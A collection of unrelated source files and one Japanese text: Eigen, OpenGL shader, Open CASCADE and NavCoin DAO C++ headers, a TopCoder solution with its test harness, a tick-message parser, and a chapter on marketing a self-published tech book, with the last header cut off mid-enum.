det *= m_u._valuePtr()[lastId];
}
}
// std::cout << m_sluRscale[j] << " " << m_sluCscale[j] << " ";
}
return det;
}
#endif // EIGEN_SUPERLUSUPPORT_H
|
#include "shader.h"
#include <fstream>
#include <streambuf>
#include <sstream>
#include <assert.h>
#include <glm/gtc/type_ptr.hpp>
#include "renderer.h"
library<shader> shader_library(512u);
shader::shader(std::string path)
{
std::ifstream t(path);
assert(t.is_open());
std::string buffer((std::istreambuf_iterator<char>(t)),std::istreambuf_iterator<char>());
std::string vert = buffer.substr(0,buffer.find("#split#"));
const char* v = vert.c_str();
std::string frag = buffer.substr(buffer.find("#split#")+sizeof("#split#"));
const char* f = frag.c_str();
//std::cout << v << f <<std::endl;
uint vertex_shader = renderer::create_shader(type::VERTEX_SHADER);
uint frag_shader = renderer::create_shader(type::FRAGMENT_SHADER);
int success;
char infoLog[512];
renderer::shader_source(vertex_shader,1,&v,0);
renderer::compile_shader(vertex_shader);
glGetShaderiv(vertex_shader,GL_COMPILE_STATUS,&success);
if(!success)
{
glGetShaderInfoLog(vertex_shader, 512, NULL, infoLog);
std::cout << "failed to compile vertex shader: \n" << infoLog << std::endl;
}
renderer::shader_source(frag_shader,1,&f,0);
renderer::compile_shader(frag_shader);
glGetShaderiv(frag_shader,GL_COMPILE_STATUS,&success);
if(!success)
{
glGetShaderInfoLog(frag_shader, 512, NULL, infoLog);
std::cout << "failed to compile fragment shader: \n" << infoLog << std::endl;
}
_id = renderer::create_program();
renderer::attach_shader(_id,vertex_shader);
renderer::attach_shader(_id,frag_shader);
renderer::link_program(_id);
glGetProgramiv(_id, GL_LINK_STATUS, &success);
if(!success)
{
glGetProgramInfoLog(_id, 512, NULL, infoLog);
std::cout << "failed to link program: \n" << infoLog << std::endl;
}
renderer::delete_shader(vertex_shader);
renderer::delete_shader(frag_shader);
}
shader::~shader()
{
renderer::delete_program(_id);
}
void shader::use()
{
renderer::use_program(_id);
}
void shader::set_float(const std::string& name,const float f)
{
renderer::uniformf(renderer::get_uniform_location(_id, name.c_str()),f);
}
void shader::set_int(const std::string& name,const int i)
{
renderer::uniformi(renderer::get_uniform_location(_id, name.c_str()),i);
}
void shader::set_texture(const std::string& name,const uint texture,uint i)
{
renderer::active_texture(texturei::TEXTURE0+i);
renderer::uniformi(renderer::get_uniform_location(_id, name.c_str()),i);
renderer::bind_texture(target::TEXTURE_2D,texture);
}
void shader::set_matrix4(const std::string& name,const glm::mat4& mat)
{
renderer::uniform_mat4fv(renderer::get_uniform_location(_id, name.c_str()),1,false,(float*)glm::value_ptr(mat));
}
void shader::set_matrix3(const std::string& name,const glm::mat3& mat)
{
renderer::uniform_mat3fv(renderer::get_uniform_location(_id, name.c_str()),1,false,(float*)glm::value_ptr(mat));
}
void shader::set_vec3(const std::string& name,const glm::vec3& vec)
{
renderer::uniform3fv(renderer::get_uniform_location(_id, name.c_str()),1,(float*)glm::value_ptr(vec));
}
void shader::set_vec2(const std::string& name,const glm::vec2& vec)
{
renderer::uniform2fv(renderer::get_uniform_location(_id, name.c_str()),1,(float*)glm::value_ptr(vec));
}
|
//
// Created on 21/01/19.
//
#pragma once
#include <armadillo>
namespace Algorithms
{
class SoftImpute
{
public:
static void doSoftImpute(arma::mat &X, uint64_t max_rank);
};
} // namespace Algorithms
|
== マーケティング(販売チャネル作成)
販売チャンネルは技術書典のサークルページです。目次を決めたときと同様、びば・KANEの二人が中心となり、サークルページと宣伝文の作成を公開イベントで行いました。夜のイベントにも関わらず計18名の方にご参加いただき、様子を見ていただきました。
サークルページを作るときには、BOOTHの中でも書きっぷりのうまい人をまねて作るようにしました。
「りあクト!」の大岡さん「わかばちゃんシリーズ」の湊川さん、お二人のページを参考に作っています。
情報は簡潔に、そしてどんなサークルかが一目でわかる文章を。
//image[chap-making-marketing/circlepage]["サークルページ"]
そして、書籍のページは、1000文字をめいっぱい使い、以下のような要素を含む文章にしました。
* この本を一言で表すとなにか
* どんな人におすすめか
* 関連リンク
* 目次とその内容
* 感想のリンク先
//image[chap-making-marketing/bookpage]["書籍ページ"]
アイコンを使うことで見栄え良く…したかったのですが、インターネット老人会風になってしまったかもしれません。ここらへんはセンスがある人を募集しています。是非ツッコミお待ちしております。
== マーケティング(宣伝)
宣伝時のチャネルはTwitterを活用しています。Twitterの宣伝文も140文字をフルに使って、伝えたい情報を簡潔に伝えられるようにしています。
//image[chap-making-marketing/tweet]["宣伝ツイート"]
Twitterでは、エンジニアが最もツイートを確認するであろう昼の12:00ごろに宣伝をかけ、著者たちによる引用リツイートにより拡散を狙っています。
==== 宣伝時に意識するポイント
以下のようなことを試すと、より大きな効果が狙えます。
* ターゲットにとってどういうメリットがあるか、を表現する
* この本を読むとどうなるのか(読む前と読んだあとの違い)を表現する
* 宣伝だけだとうざく感じる人もいるので、できるだけおもしろ要素をいれる
* Twitter Analyticsを見ながら、どういう表現が受けるか試行錯誤する
* 明らかに受けたツイートがあれば多少改変して使い回す
* バズってるネタがあったら乗っかる
また、Tweetでの宣伝とは少し異なりますが、プロフィールや固定ツイートから来る人も多いので、そこも気をつけて記載したほうがよいでしょう。
「商品を売るサイトでは、選ばれる理由とお客様の評判が重要」という話もあります。プロフィールには評判の理由とお客様の声をあつめたtogetterのリンクを貼るのもよいでしょう。
|
#include <vector>
#include <list>
#include <map>
#include <set>
#include <queue>
#include <deque>
#include <stack>
#include <bitset>
#include <algorithm>
#include <functional>
#include <numeric>
#include <utility>
#include <sstream>
#include <iostream>
#include <iomanip>
#include <cstdio>
#include <cmath>
#include <cstdlib>
#include <ctime>
using namespace std;
class TheSwapsDivOne {
public:
typedef vector<vector<double> > matr;
void Mul(matr& C, matr& A, matr& B) {
for (int i = 0; i < n; ++i)
for (int j = 0; j < n; ++j) {
C[i][j] = 0;
for (int k = 0; k < n; ++k) C[i][j] += A[i][k] * B[k][j];
}
}
void Pow(matr& C, matr& A, int k) {
matr D(n, vector<double>(n));
C = matr(n, vector<double>(n));
for (int i = 0; i < n; ++i) C[i][i] = 1;
while (k > 0) {
if (k & 1) {
Mul(D, C, A);
C = D;
}
Mul(D, A, A);
A = D;
k >>= 1;
}
}
int n;
double find(vector <string> sequence, int k) {
string s = "";
for (int i= 0; i < sequence.size(); ++i) s += sequence[i];
n = s.length();
int AP = (n * (n - 1)) / 2;
double p1 = 1. - double(n - 1) / AP;
double p2 = 1. / AP;
double P1 = p1;
double P2 = p2;
for (int i = 1; i < k; ++i) {
double np1 = p1 * P1 + p2 * P2 * (n - 1);
double np2 = P1 * p2 + P2 * p1 + (n - 2) * p2 * P2;
p1 = np1;
p2 = np2;
// cerr << p1 << " " << p2 << endl;
}
// matr C;
// matr A = matr(n, vector<double>(n));
// for (int i =0 ; i < n; ++i) for (int j = 0; j < n; ++j)
// if (i == j) A[i][j] = 1. - double(n - 1) / AP; else A[i][j] = 1. / AP;
// Pow(C, A, k);
double sum = 0;
for (int i = 0; i < n; ++i) {
for (int j = 0; j < n; ++j) {
// cerr << C[i][j] << " ";
if (i == j)
sum += (s[i] - 48) * p1 * (n - j) * (j + 1);else
sum += (s[i] - 48) * p2 * (n - j) * (j + 1);
}
// cerr << endl;
}
return sum / (n * (n + 1) / 2);
}
};
// BEGIN KAWIGIEDIT TESTING
// Generated by KawigiEdit 2.1.4 (beta) modified by pivanof
bool KawigiEdit_RunTest(int testNum, vector <string> p0, int p1, bool hasAnswer, double p2) {
cout << "Test " << testNum << ": [" << "{";
for (int i = 0; int(p0.size()) > i; ++i) {
if (i > 0) {
cout << ",";
}
cout << "\"" << p0[i] << "\"";
}
cout << "}" << "," << p1;
cout << "]" << endl;
TheSwapsDivOne *obj;
double answer;
obj = new TheSwapsDivOne();
clock_t startTime = clock();
answer = obj->find(p0, p1);
clock_t endTime = clock();
delete obj;
bool res;
res = true;
cout << "Time: " << double(endTime - startTime) / CLOCKS_PER_SEC << " seconds" << endl;
if (hasAnswer) {
cout << "Desired answer:" << endl;
cout << "\t" << p2 << endl;
}
cout << "Your answer:" << endl;
cout << "\t" << answer << endl;
if (hasAnswer) {
res = fabs(p2 - answer) <= 1e-9 * max(1.0, fabs(p2));
}
if (!res) {
cout << "DOESN'T MATCH!!!!" << endl;
} else if (double(endTime - startTime) / CLOCKS_PER_SEC >= 2) {
cout << "FAIL the timeout" << endl;
res = false;
} else if (hasAnswer) {
cout << "Match :-)" << endl;
} else {
cout << "OK, but is it right?" << endl;
}
cout << "" << endl;
return res;
}
int main() {
bool all_right;
all_right = true;
vector <string> p0;
int p1;
double p2;
{
// ----- test 0 -----
string t0[] = {"4","77"};
p0.assign(t0, t0 + sizeof(t0) / sizeof(t0[0]));
p1 = 1;
p2 = 10.0;
all_right = KawigiEdit_RunTest(0, p0, p1, true, p2) && all_right;
// ------------------
}
{
// ----- test 1 -----
string t0[] = {"4","77"};
p0.assign(t0, t0 + sizeof(t0) / sizeof(t0[0]));
p1 = 47;
p2 = 10.0;
all_right = KawigiEdit_RunTest(1, p0, p1, true, p2) && all_right;
// ------------------
}
{
// ----- test 2 -----
string t0[] = {"1","1","1","1","1","1","1"};
p0.assign(t0, t0 + sizeof(t0) / sizeof(t0[0]));
p1 = 1000000;
p2 = 3.0;
all_right = KawigiEdit_RunTest(2, p0, p1, true, p2) && all_right;
// ------------------
}
{
// ----- test 3 -----
string t0[] = {"572685085149095989026478064633266980348504469","19720257361","9","69"};
p0.assign(t0, t0 + sizeof(t0) / sizeof(t0[0]));
p1 = 7;
p2 = 98.3238536775161;
all_right = KawigiEdit_RunTest(3, p0, p1, true, p2) && all_right;
// ------------------
}
if (all_right) {
cout << "You're a stud (at least on the example cases)!" << endl;
} else {
cout << "Some of the test cases had errors." << endl;
}
return 0;
}
// END KAWIGIEDIT TESTING
//Powered by KawigiEdit 2.1.4 (beta) modified by pivanof!
|
// Created by: Peter KURNEV
// Copyright (c) 1999-2014 OPEN CASCADE SAS
//
// This file is part of Open CASCADE Technology software library.
//
// This library is free software; you can redistribute it and/or modify it under
// the terms of the GNU Lesser General Public License version 2.1 as published
// by the Free Software Foundation, with special exception defined in the file
// OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT
// distribution for complete text of the license and disclaimer of any warranty.
//
// Alternatively, this file may be used under the terms of Open CASCADE
// commercial license or contractual agreement.
#ifndef _IntTools_Context_HeaderFile
#define _IntTools_Context_HeaderFile
#include <Standard.hxx>
#include <Standard_Type.hxx>
#include <NCollection_BaseAllocator.hxx>
#include <NCollection_DataMap.hxx>
#include <TopTools_ShapeMapHasher.hxx>
#include <Standard_Integer.hxx>
#include <Precision.hxx>
#include <Standard_Transient.hxx>
#include <TopAbs_State.hxx>
#include <BRepAdaptor_Surface.hxx>
#include <TColStd_MapTransientHasher.hxx>
class IntTools_FClass2d;
class TopoDS_Face;
class GeomAPI_ProjectPointOnSurf;
class GeomAPI_ProjectPointOnCurve;
class TopoDS_Edge;
class Geom_Curve;
class IntTools_SurfaceRangeLocalizeData;
class BRepClass3d_SolidClassifier;
class TopoDS_Solid;
class Geom2dHatch_Hatcher;
class gp_Pnt;
class TopoDS_Vertex;
class gp_Pnt2d;
class IntTools_Curve;
class Bnd_Box;
class Bnd_OBB;
//! The intersection Context contains geometrical
//! and topological toolkit (classifiers, projectors, etc).
//! The intersection Context is for caching the tools
//! to increase the performance.
class IntTools_Context : public Standard_Transient
{
public:
Standard_EXPORT IntTools_Context();
Standard_EXPORT virtual ~IntTools_Context();
Standard_EXPORT IntTools_Context(const Handle(NCollection_BaseAllocator)& theAllocator);
//! Returns a reference to point classifier
//! for given face
Standard_EXPORT IntTools_FClass2d& FClass2d (const TopoDS_Face& aF);
//! Returns a reference to point projector
//! for given face
Standard_EXPORT GeomAPI_ProjectPointOnSurf& ProjPS (const TopoDS_Face& aF);
//! Returns a reference to point projector
//! for given edge
Standard_EXPORT GeomAPI_ProjectPointOnCurve& ProjPC (const TopoDS_Edge& aE);
//! Returns a reference to point projector
//! for given curve
Standard_EXPORT GeomAPI_ProjectPointOnCurve& ProjPT (const Handle(Geom_Curve)& aC);
//! Returns a reference to surface localization data
//! for given face
Standard_EXPORT IntTools_SurfaceRangeLocalizeData& SurfaceData (const TopoDS_Face& aF);
//! Returns a reference to solid classifier
//! for given solid
Standard_EXPORT BRepClass3d_SolidClassifier& SolidClassifier (const TopoDS_Solid& aSolid);
//! Returns a reference to 2D hatcher
//! for given face
Standard_EXPORT Geom2dHatch_Hatcher& Hatcher (const TopoDS_Face& aF);
//! Returns a reference to surface adaptor for given face
Standard_EXPORT BRepAdaptor_Surface& SurfaceAdaptor (const TopoDS_Face& theFace);
//! Builds and stores an Oriented Bounding Box for the shape.
//! Returns a reference to OBB.
Standard_EXPORT Bnd_OBB& OBB(const TopoDS_Shape& theShape,
const Standard_Real theFuzzyValue = Precision::Confusion());
//! Computes the boundaries of the face using surface adaptor
Standard_EXPORT void UVBounds (const TopoDS_Face& theFace,
Standard_Real& UMin,
Standard_Real& UMax,
Standard_Real& VMin,
Standard_Real& VMax);
//! Computes parameter of the Point theP on
//! the edge aE.
//! Returns zero if the distance between point
//! and edge is less than sum of tolerance value of edge and theTopP,
//! otherwise and for following conditions returns
//! negative value
//! 1. the edge is degenerated (-1)
//! 2. the edge does not contain 3d curve and pcurves (-2)
//! 3. projection algorithm failed (-3)
Standard_EXPORT Standard_Integer ComputePE (const gp_Pnt& theP, const Standard_Real theTolP,
const TopoDS_Edge& theE, Standard_Real& theT,
Standard_Real& theDist);
//! Computes parameter of the vertex aV on
//! the edge aE and correct tolerance value for
//! the vertex on the edge.
//! Returns zero if the distance between vertex
//! and edge is less than sum of tolerances and the fuzzy value,
//! otherwise and for following conditions returns
//! negative value: <br>
//! 1. the edge is degenerated (-1) <br>
//! 2. the edge does not contain 3d curve and pcurves (-2) <br>
//! 3. projection algorithm failed (-3)
Standard_EXPORT Standard_Integer ComputeVE (const TopoDS_Vertex& theV,
const TopoDS_Edge& theE,
Standard_Real& theT,
Standard_Real& theTol,
const Standard_Real theFuzz = Precision::Confusion());
//! Computes UV parameters of the vertex aV on face aF
//! and correct tolerance value for the vertex on the face.
//! Returns zero if the distance between vertex and face is
//! less than or equal the sum of tolerances and the fuzzy value
//! and the projection point lays inside boundaries of the face.
//! For following conditions returns negative value <br>
//! 1. projection algorithm failed (-1) <br>
//! 2. distance is more than sum of tolerances (-2) <br>
//! 3. projection point out or on the boundaries of face (-3)
Standard_EXPORT Standard_Integer ComputeVF (const TopoDS_Vertex& theVertex,
const TopoDS_Face& theFace,
Standard_Real& theU,
Standard_Real& theV,
Standard_Real& theTol,
const Standard_Real theFuzz = Precision::Confusion());
//! Returns the state of the point aP2D
//! relative to face aF
Standard_EXPORT TopAbs_State StatePointFace (const TopoDS_Face& aF, const gp_Pnt2d& aP2D);
//! Returns true if the point aP2D is
//! inside the boundaries of the face aF,
//! otherwise returns false
Standard_EXPORT Standard_Boolean IsPointInFace (const TopoDS_Face& aF, const gp_Pnt2d& aP2D);
//! Returns true if the point aP2D is
//! inside the boundaries of the face aF,
//! otherwise returns false
Standard_EXPORT Standard_Boolean IsPointInFace (const gp_Pnt& aP3D, const TopoDS_Face& aF, const Standard_Real aTol);
//! Returns true if the point aP2D is
//! inside or on the boundaries of aF
Standard_EXPORT Standard_Boolean IsPointInOnFace (const TopoDS_Face& aF, const gp_Pnt2d& aP2D);
//! Returns true if the distance between point aP3D
//! and face aF is less or equal to tolerance aTol
//! and projection point is inside or on the boundaries
//! of the face aF
Standard_EXPORT Standard_Boolean IsValidPointForFace (const gp_Pnt& aP3D, const TopoDS_Face& aF, const Standard_Real aTol);
//! Returns true if IsValidPointForFace returns true
//! for both face aF1 and aF2
Standard_EXPORT Standard_Boolean IsValidPointForFaces (const gp_Pnt& aP3D, const TopoDS_Face& aF1, const TopoDS_Face& aF2, const Standard_Real aTol);
//! Returns true if IsValidPointForFace returns true
//! for some 3d point that lay on the curve aIC bounded by
//! parameters aT1 and aT2
Standard_EXPORT Standard_Boolean IsValidBlockForFace (const Standard_Real aT1, const Standard_Real aT2, const IntTools_Curve& aIC, const TopoDS_Face& aF, const Standard_Real aTol);
//! Returns true if IsValidBlockForFace returns true
//! for both faces aF1 and aF2
Standard_EXPORT Standard_Boolean IsValidBlockForFaces (const Standard_Real aT1, const Standard_Real aT2, const IntTools_Curve& aIC, const TopoDS_Face& aF1, const TopoDS_Face& aF2, const Standard_Real aTol);
//! Computes parameter of the vertex aV on
//! the curve aIC.
//! Returns true if the distance between vertex and
//! curve is less than sum of tolerance of aV and aTolC,
//! otherwise or if projection algorithm failed
//! returns false (in this case aT isn't significant)
Standard_EXPORT Standard_Boolean IsVertexOnLine (const TopoDS_Vertex& aV, const IntTools_Curve& aIC, const Standard_Real aTolC, Standard_Real& aT);
//! Computes parameter of the vertex aV on
//! the curve aIC.
//! Returns true if the distance between vertex and
//! curve is less than sum of tolerance of aV and aTolC,
//! otherwise or if projection algorithm failed
//! returns false (in this case aT isn't significant)
Standard_EXPORT Standard_Boolean IsVertexOnLine (const TopoDS_Vertex& aV, const Standard_Real aTolV, const IntTools_Curve& aIC, const Standard_Real aTolC, Standard_Real& aT);
//! Computes parameter of the point aP on
//! the edge aE.
//! Returns false if projection algorithm failed
//! other wiese returns true.
Standard_EXPORT Standard_Boolean ProjectPointOnEdge (const gp_Pnt& aP, const TopoDS_Edge& aE, Standard_Real& aT);
Standard_EXPORT Bnd_Box& BndBox (const TopoDS_Shape& theS);
//! Returns true if the solid <theFace> has
//! infinite bounds
Standard_EXPORT Standard_Boolean IsInfiniteFace (const TopoDS_Face& theFace);
//! Sets tolerance to be used for projection of point on surface.
//! Clears map of already cached projectors in order to maintain
//! correct value for all projectors
Standard_EXPORT void SetPOnSProjectionTolerance (const Standard_Real theValue);
DEFINE_STANDARD_RTTIEXT(IntTools_Context,Standard_Transient)
protected:
Handle(NCollection_BaseAllocator) myAllocator;
NCollection_DataMap<TopoDS_Shape, IntTools_FClass2d*, TopTools_ShapeMapHasher> myFClass2dMap;
NCollection_DataMap<TopoDS_Shape, GeomAPI_ProjectPointOnSurf*, TopTools_ShapeMapHasher> myProjPSMap;
NCollection_DataMap<TopoDS_Shape, GeomAPI_ProjectPointOnCurve*, TopTools_ShapeMapHasher> myProjPCMap;
NCollection_DataMap<TopoDS_Shape, BRepClass3d_SolidClassifier*, TopTools_ShapeMapHasher> mySClassMap;
NCollection_DataMap<Handle(Geom_Curve), GeomAPI_ProjectPointOnCurve*, TColStd_MapTransientHasher> myProjPTMap;
NCollection_DataMap<TopoDS_Shape, Geom2dHatch_Hatcher*, TopTools_ShapeMapHasher> myHatcherMap;
NCollection_DataMap<TopoDS_Shape, IntTools_SurfaceRangeLocalizeData*, TopTools_ShapeMapHasher> myProjSDataMap;
NCollection_DataMap<TopoDS_Shape, Bnd_Box*, TopTools_ShapeMapHasher> myBndBoxDataMap;
NCollection_DataMap<TopoDS_Shape, BRepAdaptor_Surface*, TopTools_ShapeMapHasher> mySurfAdaptorMap;
NCollection_DataMap<TopoDS_Shape, Bnd_OBB*, TopTools_ShapeMapHasher> myOBBMap; // Map of oriented bounding boxes
Standard_Integer myCreateFlag;
Standard_Real myPOnSTolerance;
private:
//! Clears map of already cached projectors.
Standard_EXPORT void clearCachedPOnSProjectors();
};
DEFINE_STANDARD_HANDLE(IntTools_Context, Standard_Transient)
#endif // _IntTools_Context_HeaderFile
|
// Created on: 1997-03-05
// Created by: Robert COUBLANC
// Copyright (c) 1997-1999 Matra Datavision
// Copyright (c) 1999-2014 OPEN CASCADE SAS
//
// This file is part of Open CASCADE Technology software library.
//
// This library is free software; you can redistribute it and/or modify it under
// the terms of the GNU Lesser General Public License version 2.1 as published
// by the Free Software Foundation, with special exception defined in the file
// OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT
// distribution for complete text of the license and disclaimer of any warranty.
//
// Alternatively, this file may be used under the terms of Open CASCADE
// commercial license or contractual agreement.
#ifndef _SelectMgr_Filter_HeaderFile
#define _SelectMgr_Filter_HeaderFile
#include <Standard.hxx>
#include <Standard_Type.hxx>
#include <Standard_Transient.hxx>
#include <TopAbs_ShapeEnum.hxx>
class SelectMgr_EntityOwner;
class SelectMgr_Filter;
DEFINE_STANDARD_HANDLE(SelectMgr_Filter, Standard_Transient)
//! The root class to define filter objects for selection.
//! Advance handling of objects requires the services of
//! filters. These only allow dynamic detection and
//! selection of objects which correspond to the criteria defined in each.
//! Eight standard filters inheriting SelectMgr_Filter are
//! defined in Open CASCADE.
//! You can create your own filters by defining new filter
//! classes inheriting this framework. You use these
//! filters by loading them into an AIS interactive context.
class SelectMgr_Filter : public Standard_Transient
{
public:
//! Indicates that the selected Interactive Object
//! passes the filter. The owner, anObj, can be either
//! direct or user. A direct owner is the corresponding
//! construction element, whereas a user is the
//! compound shape of which the entity forms a part.
//! When an object is detected by the mouse - in AIS,
//! this is done through a context selector - its owner
//! is passed to the filter as an argument.
//! If the object returns Standard_True, it is kept; if
//! not, it is rejected.
//! If you are creating a filter class inheriting this
//! framework, and the daughter class is to be used in
//! an AIS local context, you will need to implement the
//! virtual function ActsOn.
Standard_EXPORT virtual Standard_Boolean IsOk (const Handle(SelectMgr_EntityOwner)& anObj) const = 0;
//! Returns true in an AIS local context, if this filter
//! operates on a type of subshape defined in a filter
//! class inheriting this framework.
//! This function completes IsOk in an AIS local context.
Standard_EXPORT virtual Standard_Boolean ActsOn (const TopAbs_ShapeEnum aStandardMode) const;
DEFINE_STANDARD_RTTIEXT(SelectMgr_Filter,Standard_Transient)
protected:
private:
};
#endif // _SelectMgr_Filter_HeaderFile
|
#pragma once
#include "pch.h"
#include "Exceptions.h"
using namespace std;
struct TickMsg {
TickMsg(TickMsg&& src) = default;
~TickMsg() = default;
string symbol;
double price {};
double quantity {};
time_t timestamp {};
// TODO Rename or override with <<
const string& ToString() const {
throw runtime_error("Not Implemented");
};
static TickMsg Parse(const string& line) {
TickMsg msg;
string tokens[4];
istringstream ss(line);
std::getline(ss, tokens[0], ' ');
std::getline(ss, tokens[1], ' ');
std::getline(ss, tokens[2], ' ');
std::getline(ss, tokens[3], ' ');
try {
msg.symbol = tokens[0];
msg.price = stod(tokens[1]);
msg.quantity = stoi(tokens[2]);
msg.timestamp = stoi(tokens[3]);
} catch (invalid_argument) {
if (msg.symbol == "QUIT") throw QuitException();
if (msg.symbol == "RESET") throw ResetException();
throw ParsingException(line);
}
return msg;
};
private:
TickMsg() = default;
TickMsg(const TickMsg&) = delete;
TickMsg& operator=(const TickMsg&) = delete;
TickMsg& operator=(TickMsg&&) = delete;
};
|
// Copyright (c) 2019 The NavCoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef DAOPAGE_H
#define DAOPAGE_H
#include "communityfundcreateproposaldialog.h"
#include "communityfundcreatepaymentrequestdialog.h"
#include "communityfunddisplaydetailed.h"
#include "communityfunddisplaypaymentrequestdetailed.h"
#include "consensus/dao.h"
#include "consensus/params.h"
#include "clientmodel.h"
#include "daoconsultationcreate.h"
#include "daoconsultationvote.h"
#include "daoproposeanswer.h"
#include "daosupport.h"
#include "daoversionbit.h"
#include "main.h"
#include "navcoinpushbutton.h"
#include "navcoinunits.h"
#include "optionsmodel.h"
#include "txdb.h"
#include "wallet/wallet.h"
#include "walletmodel.h"
#include <QApplication>
#include <QClipboard>
#include <QComboBox>
#include <QDebug>
#include <QDesktopServices>
#include <QFrame>
#include <QHBoxLayout>
#include <QHeaderView>
#include <QLabel>
#include <QMenu>
#include <QProgressBar>
#include <QPushButton>
#include <QSignalMapper>
#include <QtCharts/QChartView>
#include <QtCharts/QPieSeries>
#include <QtCharts/QPieSlice>
#include <QTableWidget>
#include <QTimer>
#include <QUrl>
#include <QVariant>
#include <QVBoxLayout>
#include <QVector>
#include <QWidget>
#define DEFAULT_UNIT 0
class ClientModel;
class PlatformStyle;
class WalletModel;
struct ProposalEntry {
uint256 hash;
QString color;
QString title;
QString requests;
QString paid;
QString deadline;
int nVotesYes;
int nVotesNo;
int nVotesAbs;
unsigned int nCycle;
QString sState;
bool fCanVote;
uint64_t nMyVote;
uint64_t ts;
};
struct PaymentRequestEntry {
uint256 hash;
QString title;
QString parentTitle;
QString color;
QString amount;
int nVotesYes;
int nVotesNo;
int nVotesAbs;
unsigned int nCycle;
QString sState;
bool fCanVote;
uint64_t nMyVote;
uint64_t ts;
};
struct ConsultationAnswerEntry {
uint256 hash;
QString answer;
int nVotes;
QString sState;
bool fCanVote;
bool fCanSupport;
QString sMyVote;
};
struct ConsultationEntry {
uint256 hash;
QString color;
QString question;
QVector<ConsultationAnswerEntry> answers;
QString sDesc;
unsigned int nCycle;
QString sState;
DAOFlags::flags fState;
bool fCanVote;
QStringList myVotes;
uint64_t ts;
bool fRange;
uint64_t nMin;
uint64_t nMax;
bool fCanSupport;
};
struct DeploymentEntry {
QString color;
QString title;
QString status;
bool fCanVote;
bool fMyVote;
bool fDefaultVote;
int64_t ts;
int bit;
};
struct ConsensusEntry {
uint256 hash;
QString color;
QString parameter;
uint64_t value;
QVector<ConsultationAnswerEntry> answers;
unsigned int nCycle;
QString sState;
DAOFlags::flags fState;
bool fCanVote;
QStringList myVotes;
bool fCanSupport;
Consensus::ConsensusParamType type;
unsigned int id;
};
struct ConsultationConsensusEntry {
CConsultation consultation;
QVector<ConsultationAnswerEntry> answers;
QStringList myVotes;
bool fCanVote;
};
class DaoChart : public QDialog
{
Q_OBJECT
public:
DaoChart(QWidget *parent, uint256 hash);
void updateView();
void updateHash(uint256 hash);
private:
QVBoxLayout *layout;
uint256 hash;
QLabel *titleLabel;
QtCharts::QPieSeries *series;
QtCharts::QChart *chart;
QtCharts::QChartView *chartView;
};
class DaoPage : public QWidget
{
Q_OBJECT
public:
explicit DaoPage(const PlatformStyle *platformStyle, QWidget *parent = 0);
void setWalletModel(WalletModel *walletModel);
void setClientModel(ClientModel *clientModel);
void initialize(CProposalMap proposalMap, CPaymentRequestMap paymentRequestMap, CConsultationMap consultationMap, CConsultationAnswerMap consultationAnswerMap, int unit, bool updateFilterIfEmpty);
void setActive(bool flag);
void setView(int view);
void setData(QVector<ProposalEntry>);
void setData(QVector<PaymentRequestEntry>);
void setData(QVector<ConsultationEntry>);
void setData(QVector<DeploymentEntry>);
void setData(QVector<ConsensusEntry>);
private:
ClientModel *clientModel;
WalletModel *walletModel;
QTableWidget* table;
QVBoxLayout *layout;
QVector<ProposalEntry> proposalModel;
QVector<PaymentRequestEntry> paymentRequestModel;
QVector<ConsultationEntry> consultationModel;
QVector<DeploymentEntry> deploymentModel;
QVector<ConsensusEntry> consensusModel;
QLabel* viewLbl;
NavCoinPushButton* proposalsBtn;
NavCoinPushButton* paymentRequestsBtn;
NavCoinPushButton* consultationsBtn;
NavCoinPushButton* deploymentsBtn;
NavCoinPushButton* consensusBtn;
QLabel* filterLbl;
QLabel* childFilterLbl;
QComboBox* filterCmb;
QComboBox* filter2Cmb;
QCheckBox* excludeBox;
QPushButton* createBtn;
QPushButton* backToFilterBtn;
QLabel* warningLbl;
QProgressBar* cycleProgressBar;
QMenu* contextMenu;
QTableWidgetItem *contextItem = nullptr;
QString contextHash;
QString filterHash;
int contextId;
DaoChart* chartDlg;
bool fChartOpen;
int64_t nLastUpdate;
QAction* copyHash;
QAction* openExplorerAction;
QAction* seePaymentRequestsAction;
QAction* seeProposalAction;
QAction* openChart;
QAction* proposeChange;
CProposalMap proposalMap;
CPaymentRequestMap paymentRequestMap;
CConsultationMap consultationMap;
CConsultationAnswerMap consultationAnswerMap;
bool fActive;
bool fExclude;
int nLoadCount = 0;
int nView;
int nCurrentView;
int nCurrentUnit;
int nFilter;
int nFilter2;
int nCurrentFilter;
int nCurrentFilter2;
int nBadgeProposals;
int nBadgePaymentRequests;
int nBadgeConsultations;
int nBadgeDeployments;
int nBadgeConsensus;
enum {
P_COLUMN_HASH,
P_COLUMN_COLOR,
P_COLUMN_TITLE,
P_COLUMN_REQUESTS,
P_COLUMN_PAID,
P_COLUMN_DURATION,
P_COLUMN_VOTES,
P_COLUMN_STATE,
P_COLUMN_PADDING2,
P_COLUMN_MY_VOTES,
P_COLUMN_VOTE,
P_COLUMN_PADDING3
};
enum {
PR_COLUMN_HASH,
PR_COLUMN_COLOR,
PR_COLUMN_PARENT_TITLE,
PR_COLUMN_TITLE,
PR_COLUMN_REQUESTS,
PR_COLUMN_VOTES,
PR_COLUMN_STATE,
PR_COLUMN_PADDING2,
PR_COLUMN_MY_VOTES,
PR_COLUMN_VOTE,
PR_COLUMN_PADDING3
};
enum {
C_COLUMN_HASH,
C_COLUMN_COLOR,
C_COLUMN_TITLE,
C_COLUMN_ANSWERS,
C_COLUMN_STATUS,
C_COLUMN_PADDING2,
C_COLUMN_MY_VOTES,
C_COLUMN_VOTE,
C_COLUMN_PADDING3
};
enum {
D_COLUMN_COLOR,
D_COLUMN_TITLE,
D_COLUMN_STATUS,
D_COLUMN_PADDING2,
D_COLUMN_MY_VOTES,
D_COLUMN_VOTE,
D_COLUMN_PADDING3
};
enum {
CP_COLUMN_HASH,
CP_COLUMN_ID,
CP_COLUMN_COLOR,
CP_COLUMN_TITLE,
CP_COLUMN_CURRENT,
CP_COLUMN_STATUS,
CP_COLUMN_PROPOSALS,
CP_COLUMN_PADDING2,
CP_COLUMN_MY_VOTES,
CP_COLUMN_VOTE,
CP_COLUMN_PADDING3
};
enum {
VIEW_PROPOSALS,
VIEW_PAYMENT_REQUESTS,
VIEW_CONSULTATIONS,
VIEW_DEPLOYMENTS,
VIEW_CONSENSUS
};
enum {
FILTER_ALL,
FILTER_NOT_VOTED,
FILTER_VOTED,
};
enum {
FILTER2_ALL,
